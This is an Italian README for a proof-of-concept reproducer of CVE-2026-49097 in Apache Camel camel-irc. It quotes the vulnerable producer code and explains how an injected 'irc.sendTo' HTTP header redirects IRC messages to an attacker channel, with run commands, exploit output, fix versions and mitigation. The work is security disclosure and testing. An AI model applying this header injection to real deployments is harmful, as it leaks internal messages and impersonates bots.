
Reproduttore PoC per CVE-2026-49097 (Apache Camel camel-irc): l'header irc.sendTo non prefissato con Camel elude il filtro degli header HTTP e sovrascrive il canale configurato del producer, reindirizzando un messaggio IRC verso una destinazione scelta dall'attaccante. Corretto in 4.14.8/4.18.3/4.21.0.
Questo progetto dimostra un'iniezione nell'header del messaggio nel componente camel-irc di Apache Camel, identificata come
CVE-2026-49097. IrcProducer legge l'header irc.sendTo per scegliere la destinazione del messaggio IRC in
uscita; quando presente, sovrascrive l'elenco dei canali configurato nell'endpoint:
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
La costante di header IRC_SEND_TO ha il semplice valore irc.sendTo. Poiché non inizia con il
prefisso Camel / camel, HttpHeaderFilterStrategy — che blocca solo il namespace degli header Camel al
confine HTTP — gli consente di passare da una richiesta HTTP in entrata direttamente all'Exchange.
In una route che collega un consumatore HTTP (ad esempio platform-http) a un produttore irc:, qualsiasi client HTTP
può quindi fornire irc.sendTo e reindirizzare il messaggio a un canale o nick IRC arbitrario, esfiltrando
contenuti destinati a un canale interno verso una destinazione monitorata dall'attaccante, o impersonando il bot
in un altro canale. Altre nove costanti irc.* sono state rinominate nella stessa correzione; irc.sendTo è
quella direttamente sfruttabile.
Questo PoC dimostra l'impatto come reindirizzamento del messaggio / divulgazione di informazioni (CWE-20 → CWE-74).
Avviso di sicurezza: https://camel.apache.org/security/CVE-2026-49097.html
La correzione rinomina le dieci costanti di header
irc.*secondo la convenzioneCamelIrc*(ad esempioirc.sendTo→CamelIrcSendTo), così da filtrarle al confine HTTP come qualsiasi altro header di controllo Camel. Stessa famiglia di CVE-2025-27636, CVE-2026-46454 e CVE-2026-48206. Nota:camel-ircè deprecato a partire dalla 4.21.0.
La vulnerabilità risiede interamente nella selezione della destinazione di IrcProducer; il socket IRC è solo
trasporto. Questo riproduttore esegue il IrcProducer reale e la classe reale IRCConnection di irclib,
sottoclassata in modo che il suo send(...) (attraverso il quale passano tutti i comandi do* — incluso
doPrivmsg) registri la destinazione del PRIVMSG invece di scrivere su un socket. Un piccolo componente irc
personalizzato fornisce quella connessione di registrazione. Nessuna rete IRC viene contattata.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
Un endpoint "notify" che inoltra verso un canale interno fisso #alerts. Non c'è alcun parametro di destinazione
nell'API HTTP — l'autore presume che il client non possa scegliere il canale. L'attaccante imposta irc.sendTo e
il bot pubblica su un canale scelto dall'attaccante.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
Aggiorna a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Dopo l'aggiornamento, le route che impostano la destinazione IRC
tramite un header devono usare il nome CamelIrcSendTo. Nota che camel-irc è deprecato a partire dalla 4.21.0.
Fino all'aggiornamento, rimuovi gli header di controllo camel-irc da qualsiasi ingresso non attendibile prima del
produttore irc: (ad esempio removeHeaders("irc.*")) e imposta la destinazione da una fonte attendibile.
Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.
| Proprietà | Valore |
|---|
| Componente | camel-irc |
| Classe interessata | org.apache.camel.component.irc.IrcProducer che legge IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (Convalida impropria dell'input) / CWE-74 (Iniezione) |
| Impatto | Reindirizza un messaggio IRC in uscita verso un canale/nick scelto dall'attaccante (esfiltrazione, impersonificazione) |
| Precondizioni | Una route collega un consumatore HTTP a un produttore irc:; senza autenticazione quando il consumatore è |
| Versioni interessate | Dalla 4.0.0 fino a prima della 4.14.8, dalla 4.15.0 fino a prima della 4.18.3, dalla 4.19.0 fino a prima della 4.21.0 |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| Riconoscimento | Yu Bao (PayPal) |